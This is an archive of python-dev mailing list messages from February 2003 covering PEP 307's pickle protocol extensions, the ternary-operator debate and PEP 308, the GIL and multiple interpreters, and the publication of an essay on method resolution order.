Subject: [Python-Dev] contributing documentation (fwd)
In-Reply-To: Your message of "Fri, 07 Feb 2003 11:36:49 CST."
 <15939.61105.511461.459313@montanaro.dyndns.org>
References: <15939.61105.511461.459313@montanaro.dyndns.org>
Message-ID: <200302071846.h17IkbS11986@odiug.zope.com>

> FYI.  I'll take a look at it, but should we just reference it or should it
> be included in the site?
> 
> (Also included python-dev, since there are probably people there who will be
> better review candidates.)
> 
> Skip

> From: mis6@pitt.edu (Michele Simionato)
> To: python-list@python.org
> Subject: contributing documentation
> Date: 7 Feb 2003 09:24:44 -0800
> 
> My essay on "The Python 2.3 Method Resolution Order" has been on my site
> http://www.phyast.pitt.edu/~micheles/mro.html
> for a few weeks, I have added some corrections based on the feedback from
> people on c.l.p. and it seems quite stable now.
> I would like to donate it to the Python Software Foundation and have it in
> http://www.python.org/
> 
> What should I do ?
> 
> 
> Michele Simionato              Department of Physics and Astronomy
> University of Pittsburgh       210 Allen Hall Pittsburgh PA 15260, USA
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Wow.  I've only read a little bit so far, but the paper seems very
clear (I think I may learn something about C3 myself :-) and
well-written.  I also enjoy the ASCII art.  I'd like to link to this
from the Python 2.3 page (http://python.org/2.3/).

Michele, thanks for writing this!  Do you mind if I link this from the
above-mentioned page?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Fri Feb  7 19:00:48 2003
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 7 Feb 2003 14:00:48 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com>
References: <200302071833.h17IXNl11929@odiug.zope.com>
Message-ID: <20030207190047.GA16810@panix.com>

I'm mildly concerned about giving extension opcodes specifically to
"Zope 3".  Is there some reason we shouldn't just make that "Zope"?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From guido@python.org  Fri Feb  7 19:34:20 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 14:34:20 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: Your message of "Fri, 07 Feb 2003 14:00:48 EST."
 <20030207190047.GA16810@panix.com>
References: <200302071833.h17IXNl11929@odiug.zope.com>
 <20030207190047.GA16810@panix.com>
Message-ID: <200302071934.h17JYKF12138@odiug.zope.com>

> I'm mildly concerned about giving extension opcodes specifically to
> "Zope 3".  Is there some reason we shouldn't just make that "Zope"?

I doubt that Zope 2 will ever be using pickle protocol 2.

Anyway, the class names are all different, so Zope 2 and Zope 3 would
require different extension ranges.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From gsw@agere.com  Fri Feb  7 19:37:57 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 7 Feb 2003 14:37:57 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030207170008.19146.50825.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEGIDCAA.gsw@agere.com>

To me, the major problem with the (a and [b] or [c])[0]
solution shown in the FAQ is that it's not immediately
clear what you are doing. A more likely spelling of that
solution is:

  def ifelse(result): return result[0]
  ...
  x1 = ifelse(a and [x] or [y])
  x2 = ifelse(a and [x] or b and [y] or [z])
  x3 = ifelse(a and [x] or b and [y] or c and ...)

The q() function solution shown there doesn't extend
as nicely and forces you to add "lambda:" if you don't
want both alternatives evaluated.

-Jerry



From guido@python.org  Fri Feb  7 19:53:50 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 14:53:50 -0500
Subject: [Python-Dev] contributing documentation (fwd)
In-Reply-To: Your message of "Fri, 07 Feb 2003 11:36:49 CST."
 <15939.61105.511461.459313@montanaro.dyndns.org>
References: <15939.61105.511461.459313@montanaro.dyndns.org>
Message-ID: <200302071953.h17JroO12377@odiug.zope.com>

Michele's paper is now up on the website:
http://python.org/2.3/mro.html.

Nice work, Michele!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Fri Feb  7 19:49:55 2003
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 7 Feb 2003 14:49:55 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <200302071934.h17JYKF12138@odiug.zope.com>
References: <200302071833.h17IXNl11929@odiug.zope.com> <20030207190047.GA16810@panix.com> <200302071934.h17JYKF12138@odiug.zope.com>
Message-ID: <20030207194955.GA17026@panix.com>

On Fri, Feb 07, 2003, Guido van Rossum wrote:
> Aahz:
>>
>> I'm mildly concerned about giving extension opcodes specifically to
>> "Zope 3".  Is there some reason we shouldn't just make that "Zope"?
> 
> I doubt that Zope 2 will ever be using pickle protocol 2.
> 
> Anyway, the class names are all different, so Zope 2 and Zope 3 would
> require different extension ranges.

Actually, I was thinking more about Zope 4.  ;-)  My point was that for
all the interaction between Python and Zope, they're separate software
products, and I don't think the PSF should get involved in Zope version
numbers.  Just give the range to Zope and let them decide how to use it.

This IMO sets a good precedent when it comes time to hand out ranges to
other companies.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From pje@telecommunity.com  Fri Feb  7 19:49:31 2003
From: pje@telecommunity.com (Phillip J. Eby)
Date: Fri, 07 Feb 2003 14:49:31 -0500
Subject: [Python-Dev] Re: Trinary Operators
Message-ID: <5.1.1.6.0.20030207143519.026c00f0@mail.rapidsite.net>

Guido van Rossum wrote:

 >  print 1 if x and y else 0

<shudder>  Up until that example, I was actually thinking adding this to 
Python would be a good idea.  But that looks just plain unreadable to 
me.  Someone with a Perl background would also likely parse the above as 
meaning:

if x and y:
     print 1
else:
     0

Which is actually a sensible thing to say in Perl.

Rendering the same example with parentheses:

print (1 if (x and y) else 0)

It's now less ambiguous, but looks like some sort of crazy infix Lisp.  :(

Maybe it would work better with parentheses required, and a little more 
verbosity?  E.g.:

print (return 1 if x and y else return 0)

For chaining, the else return could be allowed to segue into a new clause:

print (return 1 if x and y else return -1 if not z else return 0)

Or more nicely formatted:

print (
     return 1
        if x and y
     else return -1
        if not z
     else return 0
)

Hm.  I'm still not really convinced.



From gsw@agere.com  Fri Feb  7 20:26:04 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 7 Feb 2003 15:26:04 -0500
Subject: [Python-Dev] Sorry...
In-Reply-To: <GBEGLOMMCLDACBPKDIHFGEGIDCAA.gsw@agere.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEGPDCAA.gsw@agere.com>

I apologize for my last e-mail about the ternary operator
FAQ. The python-dev digest hasn't quite caught up to the
point where Guido asked us to please stop talking about
it. Pretend I didn't say anything. I'll shut up now...

-Jerry



From guido@python.org  Fri Feb  7 20:33:48 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 15:33:48 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: Your message of "Fri, 07 Feb 2003 14:49:55 EST."
 <20030207194955.GA17026@panix.com>
References: <200302071833.h17IXNl11929@odiug.zope.com> <20030207190047.GA16810@panix.com> <200302071934.h17JYKF12138@odiug.zope.com>
 <20030207194955.GA17026@panix.com>
Message-ID: <200302072033.h17KXmW12830@odiug.zope.com>

> >> I'm mildly concerned about giving extension opcodes specifically to
> >> "Zope 3".  Is there some reason we shouldn't just make that "Zope"?
> > 
> > I doubt that Zope 2 will ever be using pickle protocol 2.
> > 
> > Anyway, the class names are all different, so Zope 2 and Zope 3 would
> > require different extension ranges.
> 
> Actually, I was thinking more about Zope 4.  ;-)  My point was that
> for all the interaction between Python and Zope, they're separate
> software products, and I don't think the PSF should get involved in
> Zope version numbers.  Just give the range to Zope and let them
> decide how to use it.

Sure.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bac@OCF.Berkeley.EDU  Fri Feb  7 20:40:49 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Fri, 7 Feb 2003 12:40:49 -0800 (PST)
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <2msmv0bbk4.fsf@starship.python.net>
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>
 <2msmv0bbk4.fsf@starship.python.net>
Message-ID: <Pine.SOL.4.53.0302071237250.14730@death.OCF.Berkeley.EDU>

[Michael Hudson]

> So, crazy idea for the morning.  Split that sentence up: have one list
> (probably the existing python-dev) where the future of the language is
> discussed.  Have another (python-implementors) where anything that
> does not have a short-to-medium term effect on the code in Python CVS
> is strictly forbidden.  Can this be made to work?  Or maybe the last
> month or so has been the exception and this list will just naturally
> reqcquire some of it's focus.
>

I am +0 on this.  I would think that even more pie-in-the-sky ideas would
come out if we had a list specifically garnered towards long-term ideas
(unless, of course, we regulate subscriptions).

And then my personal question becomes whether I will need to summarize two
lists instead of one (I am guessing no; the one dealing with the blue-sky
issues will need it more than the other one).

-Brett


From esr@thyrsus.com  Fri Feb  7 21:42:05 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Fri, 7 Feb 2003 16:42:05 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302071635.h17GZiH08209@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <b20mjd$fvb$1@main.gmane.org> <200302071635.h17GZiH08209@odiug.zope.com>
Message-ID: <20030207214205.GB30129@thyrsus.com>

Guido van Rossum <guido@python.org>:
> OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off).

Surprise.  It might.  My trip to Boston tonight got canned, and I
have nothing else on my schedule.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From esr@thyrsus.com  Fri Feb  7 21:44:02 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Fri, 7 Feb 2003 16:44:02 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302071710.h17HAil08991@odiug.zope.com>
References: <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <b20mjd$fvb$1@main.gmane.org> <200302071635.h17GZiH08209@odiug.zope.com> <20030207165226.GA21789@panix.com> <200302071710.h17HAil08991@odiug.zope.com>
Message-ID: <20030207214402.GC30129@thyrsus.com>

Guido van Rossum <guido@python.org>:
> I think you can't separate the two votes so easily.  If I vote for a
> ternary operator, but then something with an ugly syntax wins the
> design contest, I may wish I had voted against in the first place.

It's say vote "for" the first, and if you don't like the second exert
your BDFL veto.  I don't think anybody would kick -- and if they do I'll
give 'em a stiff talking-to.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From guido@python.org  Fri Feb  7 21:59:42 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 16:59:42 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: Your message of "Fri, 07 Feb 2003 16:42:05 EST."
 <20030207214205.GB30129@thyrsus.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <b20mjd$fvb$1@main.gmane.org> <200302071635.h17GZiH08209@odiug.zope.com>
 <20030207214205.GB30129@thyrsus.com>
Message-ID: <200302072159.h17Lxgp14761@odiug.zope.com>

> Guido van Rossum <guido@python.org>:
> > OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off).

[Eric]
> Surprise.  It might.  My trip to Boston tonight got canned, and I
> have nothing else on my schedule.

Too late. :-)  See PEP 308.

> Guido van Rossum <guido@python.org>:
> > I think you can't separate the two votes so easily.  If I vote for a
> > ternary operator, but then something with an ugly syntax wins the
> > design contest, I may wish I had voted against in the first place.
> 
> It's say vote "for" the first, and if you don't like the second exert
> your BDFL veto.  I don't think anybody would kick -- and if they do I'll
> give 'em a stiff talking-to.

OK, I think you saw the PEP then. :-)

But the voting procedure is up to c.l.py.  Let's see them screw this
one up. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From andymac@bullseye.apana.org.au  Sat Feb  8 00:05:59 2003
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 8 Feb 2003 10:05:59 +1000 (est)
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <20030207174725.W1706@prim.han.de>
Message-ID: <Pine.OS2.4.44.0302081002260.43-100000@tenring.andymac.org>

On Fri, 7 Feb 2003, holger krekel wrote:

> I am glad that Guido brings up the issue of 'tone of redirection
> messages' and support the idea of doing it in the friendliest
> way possible.  If someone insists and disregards comments then
> that is a different matter, of course.

Is it unreasonable to expect straight forward redirections (ie "please
take this to python-list/c.l.py") be done via private mail alone rather
than including python-dev as a cc?

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From aahz@pythoncraft.com  Sat Feb  8 00:40:13 2003
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 7 Feb 2003 19:40:13 -0500
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <Pine.OS2.4.44.0302081002260.43-100000@tenring.andymac.org>
References: <20030207174725.W1706@prim.han.de> <Pine.OS2.4.44.0302081002260.43-100000@tenring.andymac.org>
Message-ID: <20030208004013.GA9370@panix.com>

On Sat, Feb 08, 2003, Andrew MacIntyre wrote:
> On Fri, 7 Feb 2003, holger krekel wrote:
>> 
>> I am glad that Guido brings up the issue of 'tone of redirection
>> messages' and support the idea of doing it in the friendliest
>> way possible.  If someone insists and disregards comments then
>> that is a different matter, of course.
> 
> Is it unreasonable to expect straight forward redirections (ie "please
> take this to python-list/c.l.py") be done via private mail alone rather
> than including python-dev as a cc?

It's not unreasonable, but I do it so that other python-dev people know
that it's been done, which avoids wasting time and the dogpile effect.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From guido@python.org  Sat Feb  8 00:52:27 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 19:52:27 -0500
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: "Your message of Sat, 08 Feb 2003 10:05:59 +1000."
 <Pine.OS2.4.44.0302081002260.43-100000@tenring.andymac.org>
References: <Pine.OS2.4.44.0302081002260.43-100000@tenring.andymac.org>
Message-ID: <200302080052.h180qSK01335@pcp02138704pcs.reston01.va.comcast.net>

> > I am glad that Guido brings up the issue of 'tone of redirection
> > messages' and support the idea of doing it in the friendliest
> > way possible.  If someone insists and disregards comments then
> > that is a different matter, of course.
> 
> Is it unreasonable to expect straight forward redirections (ie "please
> take this to python-list/c.l.py") be done via private mail alone rather
> than including python-dev as a cc?

The problem is that if the list doesn't get cc'ed, a mistaken post is
likely to elicit several or even many private responses.  So let's keep
these responses going to the list.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Sat Feb  8 02:41:04 2003
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 07 Feb 2003 21:41:04 -0500
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <20030208004013.GA9370@panix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEIADMAB.tim.one@comcast.net>

[Andrew MacIntyre]
> Is it unreasonable to expect straight forward redirections (ie "please
> take this to python-list/c.l.py") be done via private mail alone rather
> than including python-dev as a cc?

[Aahz]
> It's not unreasonable, but I do it so that other python-dev people know
> that it's been done, which avoids wasting time and the dogpile effect.

There's another reason it won't happen:  I know python-dev@python.org is a
legit email address.  Half the time I use an address from a random netizen,
it bounces (usually due to "anti spam" gimmickery in the address), and the
whole exercise becomes a double waste of time.  There's a fine line between
not being helpful and being rude all the same <wink>.



From tim.one@comcast.net  Sat Feb  8 04:16:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 07 Feb 2003 23:16:20 -0500
Subject: [Python-Dev] Why is the GIL not in PyInterpreterState?
In-Reply-To: <EGECJPMPCPJFHJIBBCJMIELGCKAA.Tobias.Oberstein@gmx.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEIIDMAB.tim.one@comcast.net>

[Tobias Oberstein]
> Is there a reason why PyInterpreterState is not defined like so:
>
> typedef struct _is {
>    ..
>    PyThread_type_lock interpreter_lock;
>    PyThreadState *_PyThreadState_Current;
>    ..
> } PyInterpreterState;
>
> which could be the basis for support of multiple, separated
> interpreters within a single process.

The GIL is a process-level lock now, and must be now -- pretending each
thread had its own GIL wouldn't work (unless they all happened to be the
same GIL).  The docs for Py_NewInterpreter explain some of the problems:

    http://www.python.org/doc/current/api/initialization.html

but there are many others.  As a simple example of another, integer objects
are allocated out of a special free list, and code manipulating that list
implicitly assumes it has exclusive access to the list.  This is so given
the process-level GIL.

> ...
> Would it be so hard to proceed like indicated below?

Nobody knows -- you'll have to try it and see.  But I see Mark already tried
to depress you, so I won't belabor it <wink>.

OTOH, if your goal is N completely independent interpreters, why not fire up
N processes?  Then independence comes for free and you don't have to change
a thing.  If the answer is that you don't really want them to be
*completely* independent, then maintaining the refcounts on the objects you
want them to share will be a nightmare:  every Py_INCREF and Py_DECREF in
the codebase also relies on the process-level GIL for proper operation.



From python@rcn.com  Sat Feb  8 05:04:22 2003
From: python@rcn.com (Raymond Hettinger)
Date: Sat, 8 Feb 2003 00:04:22 -0500
Subject: [Python-Dev] Re:  Quantifiers   Was:  Trinary Operators
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>              <20030207145935.GA2943@hishome.net>  <200302071506.h17F6g902453@odiug.zope.com> <055b01c2cec4$ed430720$6d94fea9@newmexico>
Message-ID: <012c01c2cf2f$8bdfaea0$4f10a044@oemcomputer>

[Oren Tirosh]
> > > Oh dear. If you are really going to do these these cutesy English-like
> > > expressions I'd have to resurrect my old proposal of:
> > > 
> > > if CONDITION for some NAME in ITERABLE:
> > > if CONDITION for every NAME in ITERABLE:
> > > if CONDITION for no NAME in ITERABLE:

[Samuele Pedroni]
> I would not dislike to have expression forms equivalent to applications of
> 
> def every(pred,l):
>    for x in l:
>      if not pred(x): return False
>    return True
> 
> def some(pred,l):
>    for x in in l:
>      if pred(x): return True
>   return False
> 
> def such(pred,l,otherwise=None):
>    for x in in l:
>      if pred(x): return x
>   return otherwise
>   
> as list comprehension is equivalent to map and filter.

BTW, quantifiers can be efficiently implemented 
using functions in the itertools module. I'll add an 
example to the docs.


Raymond Hettinger


From Tobias.Oberstein@gmx.de  Sat Feb  8 09:31:41 2003
From: Tobias.Oberstein@gmx.de (Tobias Oberstein)
Date: Sat, 8 Feb 2003 10:31:41 +0100
Subject: [Python-Dev] Why is the GIL not in PyInterpreterState?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEIIDMAB.tim.one@comcast.net>
Message-ID: <EGECJPMPCPJFHJIBBCJMCELOCKAA.Tobias.Oberstein@gmx.de>

Thanks for replying, I now see the kinds of problems much clearer:

1. global interpreter/VM state
2. global state in object implementations
3. global state in extension modules
4. shared process resources (file descriptors,..)

.. that is

1,2  could in principle be fixed, but heavy work
3    unlikely ever (for all modules)
4    not a bug, but a feature


> OTOH, if your goal is N completely independent interpreters, why 
> not fire up
> N processes?  Then independence comes for free and you don't have 
> to change
> a thing.  If the answer is that you don't really want them to be
> *completely* independent, then maintaining the refcounts on the 
> objects you
> want them to share will be a nightmare:  every Py_INCREF and Py_DECREF in
> the codebase also relies on the process-level GIL for proper operation.
> 

I only want to share state via objects of a special extension class X,
which wraps up an OODBMS (which is the embedding application) and takes
care of the necessary synchronisation on it's own.

X should be subclassable in Python.

I want to do it within a single process, because I don't want a
OS context switch on every method call to objects of class X.

In a perfect world, problems 1,2 of above would be fixed, I would
only use "nice" modules which obey 3 of above, won't care about 4 and
would end up with either

a) each VM has exactly one OS thread

or

b) each VM has at least on OS thread

Thus, a) required no locking at all and b) required a "global" lock per VM.

Greets,
Tobias



From mal@lemburg.com  Sat Feb  8 15:03:57 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 08 Feb 2003 16:03:57 +0100
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com>
References: <200302071833.h17IXNl11929@odiug.zope.com>
Message-ID: <3E451C5D.7030801@lemburg.com>

Guido van Rossum wrote:
> I'm assuming a fair number of people have been following this already
> in the checkins list; I think it's ready for review on python-dev:
> 
>   http://www.python.org/peps/pep-0307.html
> 
> Quoting the introduction:
> 
>     Pickling new-style objects in Python 2.2 is done somewhat clumsily
>     and causes pickle size to bloat compared to classic class
>     instances.  This PEP documents a new pickle protocol in Python 2.3
>     that takes care of this and many other pickle issues.
> 
>     There are two sides to specifying a new pickle protocol: the byte
>     stream constituting pickled data must be specified, and the
>     interface between objects and the pickling and unpickling engines
>     must be specified.  This PEP focuses on API issues, although it
>     may occasionally touch on byte stream format details to motivate a
>     choice.  The pickle byte stream format is documented formally by
>     the standard library module pickletools.py (already checked into
>     CVS for Python 2.3).
> 
>     This PEP attempts to fully document the interface between pickled
>     objects and the pickling process, highlighting additions by
>     specifying "new in this PEP".  (The interface to invoke pickling
>     or unpickling is not covered fully, except for the changes to the
>     API for specifying the pickling protocol to picklers.)

That's nice to have :-) (previously I had to look those things
up in the code itself... to the point where I simply didn't
understand the various gimmicks)

As long as pickle.py stays backwards compatible w/r to subclasses,
I don't mind having a better alternative for the future at hand :-)

If you do change the APIs, though, I'd consider adding new
classes for Pickler and Unpickler (even if you have changed
interna, because existing subclasses are likely to have been
built on these as well simply because the code was never
properly documented -- I know, because I did exactly this couple
of time :-).

Will cPickle also be updated according to the new features
in pickle.py ?

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From tim.one@comcast.net  Sat Feb  8 16:49:52 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 08 Feb 2003 11:49:52 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle
 protocol
In-Reply-To: <3E451C5D.7030801@lemburg.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEKNDMAB.tim.one@comcast.net>

[M.-A. Lemburg]
> That's nice to have :-) (previously I had to look those things
> up in the code itself... to the point where I simply didn't
> understand the various gimmicks)

Me neither -- I could never see the forest for the trees, although old-style
classes pickled and unpickled so easily by magic that I never really tried
before either.  It turns out there was a conceptually simple plan all along.
But by the time you write down all the details, you get Guido's 10-page PEP,
and in some sense there are even more trees now obscuring a clear view of
the tidy pickle hamlet.

> As long as pickle.py stays backwards compatible w/r to subclasses,
> I don't mind having a better alternative for the future at hand :-)
>
> If you do change the APIs, though, I'd consider adding new
> classes for Pickler and Unpickler (even if you have changed
> interna, because existing subclasses are likely to have been
> built on these as well simply because the code was never
> properly documented -- I know, because I did exactly this couple
> of time :-).

I'm not sure what you're saying.  If you have a subclass today, it should
continue to work.  Although pickle.py's Pickler internals were reworked to
key off a new "proto" attr in some places for protocol 2, the old "bin" attr
is still there, and set to self.proto > 1.  I suppose an existing subclass
with its own .proto attr could get screwed.

> Will cPickle also be updated according to the new features
> in pickle.py ?

Yup, and most (11 of 12) of the new opcodes are already implemented in
cPickle, and new tests for them in pickletester.py are run by both
test_pickle.py and test_cpickle.py.



From tim.one@comcast.net  Sat Feb  8 17:07:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 08 Feb 2003 12:07:20 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle
 protocol
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEKNDMAB.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEKPDMAB.tim.one@comcast.net>

[Tim]
> ...
> Although pickle.py's Pickler internals were reworked to key off a new
> "proto" attr in some places for protocol 2, the old "bin" attr
> is still there, and set to self.proto > 1.

Grrrr.  self.bin is set to self.proto > 0, of course.  My apologies!


From mal@lemburg.com  Sat Feb  8 17:16:34 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 08 Feb 2003 18:16:34 +0100
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEKNDMAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEKNDMAB.tim.one@comcast.net>
Message-ID: <3E453B72.3050101@lemburg.com>

Tim Peters wrote:
> [M.-A. Lemburg]
> 
>>That's nice to have :-) (previously I had to look those things
>>up in the code itself... to the point where I simply didn't
>>understand the various gimmicks)
> 
> Me neither -- I could never see the forest for the trees, although old-style
> classes pickled and unpickled so easily by magic that I never really tried
> before either.  It turns out there was a conceptually simple plan all along.
> But by the time you write down all the details, you get Guido's 10-page PEP,
> and in some sense there are even more trees now obscuring a clear view of
> the tidy pickle hamlet.

Which make me think: wouldn't a complete redesign from scratch under
a new name provide more room for optimizations ?

(after all, you are doing this for Zope's ZODB, right ?)

>>As long as pickle.py stays backwards compatible w/r to subclasses,
>>I don't mind having a better alternative for the future at hand :-)
>>
>>If you do change the APIs, though, I'd consider adding new
>>classes for Pickler and Unpickler (even if you have changed
>>interna, because existing subclasses are likely to have been
>>built on these as well simply because the code was never
>>properly documented -- I know, because I did exactly this couple
>>of time :-).
> 
> I'm not sure what you're saying.  If you have a subclass today, it should
> continue to work.  Although pickle.py's Pickler internals were reworked to
> key off a new "proto" attr in some places for protocol 2, the old "bin" attr
> is still there, and set to self.proto > 1.  I suppose an existing subclass
> with its own .proto attr could get screwed.

I'm not using that. What I am using are the .save_*()
and .load_*() method signatures and the .file attribute;
plus the .disptach table, of course, which I have to update
after overriding the methods.

>>Will cPickle also be updated according to the new features
>>in pickle.py ?
> 
> Yup, and most (11 of 12) of the new opcodes are already implemented in
> cPickle, and new tests for them in pickletester.py are run by both
> test_pickle.py and test_cpickle.py.

Cool :-)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From paul@pfdubois.com  Sat Feb  8 17:46:48 2003
From: paul@pfdubois.com (Paul F Dubois)
Date: Sat, 8 Feb 2003 09:46:48 -0800
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <20030208170008.22468.17334.Mailman@mail.python.org>
Message-ID: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>

I very much appreciate Guido putting forward a PEP on if expressions, =
but I
must say the idea of letting c.l.p 'vote' on it is unwelcome. Voting =
only
makes sense when an electorate is educated enough to properly understand =
the
proposition and its consequences; the discussion so far makes clear that
that isn't true. Programming languages need to be designed, not
agglutinated. (Otherwise you get Perl and Fortran 2000 (:->)

I think it is fair to say that being the head designer of a language can
lead to frustration at times; I had to endure it on a much smaller scale =
and
it was very hard to keep patiently explaining how the features had to =
fit
together, and how they had to be both parseable and implementable and
learnable, and that not every little difficulty is worth a language =
feature.


In the cases of several of the features adopted recently, a quick =
inspection
has initially led me to believe that the feature was not interesting but
study showed that it was. I just don't think you can delegate this kind =
of
study to a group that is mostly inexperienced even at programming much =
less
language design.=20

I want my BDFL. As Davy Crockett said, "Be sure you're right, then go
ahead."

Paul Dubois



From guido@python.org  Sat Feb  8 18:30:21 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 08 Feb 2003 13:30:21 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: "Your message of Sat, 08 Feb 2003 09:46:48 PST."
 <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
Message-ID: <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>

> I very much appreciate Guido putting forward a PEP on if
> expressions, but I must say the idea of letting c.l.p 'vote' on it
> is unwelcome. Voting only makes sense when an electorate is educated
> enough to properly understand the proposition and its consequences;
> the discussion so far makes clear that that isn't true. Programming
> languages need to be designed, not agglutinated. (Otherwise you get
> Perl and Fortran 2000 (:->)

Part of my "cunning plan" is to show that indeed this doesn't work.
I'm hoping you will forgive me this once-only Macchiavellian move. :-)

> I think it is fair to say that being the head designer of a language
> can lead to frustration at times; I had to endure it on a much
> smaller scale and it was very hard to keep patiently explaining how
> the features had to fit together, and how they had to be both
> parseable and implementable and learnable, and that not every little
> difficulty is worth a language feature.

I admit I've lost some of my patience.  Showing that there is immense
resistance to if-then-else expressions (even if there is also a lot of
pressure to add them) would make it easier in the future to explain
why they aren't there.  Or vice versa.

